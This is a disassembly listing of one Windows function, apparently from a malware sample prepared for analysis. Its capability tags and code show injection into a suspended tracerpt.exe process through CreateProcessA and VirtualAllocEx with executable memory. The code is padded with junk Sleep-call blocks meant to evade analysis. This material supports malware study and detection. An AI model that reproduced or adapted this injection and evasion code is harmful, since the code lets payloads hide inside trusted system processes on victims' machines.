Function at 0x406e10
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f360
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10], esp
push 0x19
mov dword [ebp - 0x14], edx
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x44
lea eax, [ebp - 0x5c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x2cc
lea eax, [ebp - 0x428]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x44
lea eax, [ebp - 0x5c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
mov esi, dword [ebp + 8]
xorps xmm0, xmm0
push 0x19
movups xmmword [esi], xmm0
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x2cc
lea eax, [ebp - 0x428]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x19
mov dword [ebp - 0x5c], 0x44
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x19
mov dword [ebp - 0x30], 1
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
xor eax, eax
push 0x19
mov word [ebp - 0x2c], ax
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0xff
lea eax, [ebp - 0x15c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0xff
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x19
mov byte [ebp - 0x159], 0
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push str.WindowsSysWOW64_tracerpt.exe
lea eax, [ebp - 0x15c]
push eax
push str._s_s
push eax
call fcn.00408500
add esp, 0x10
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x407762
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x19
mov byte [ebp - 0x159], 0
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push str.WindowsSystem32_tracerpt.exe
lea eax, [ebp - 0x15c]
push eax
push str._s_s
push eax
call fcn.00408500
add esp, 0x10
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
push esi
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x19
mov esi, eax
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
test esi, esi
je 0x407f74
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
mov eax, dword [ebp + 8]
push 0x40
push 0x3000
push dword [ebp - 0x14]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
push 0x19
mov dword [ebp - 0x14], esi
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
test esi, esi
jne 0x407f87
jmp 0x407f74
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x19
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call edi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call edi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push 0x412ea0
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x18], 0x11b41d7
call sub.VCRUNTIME140.dll__CxxThrowException
int3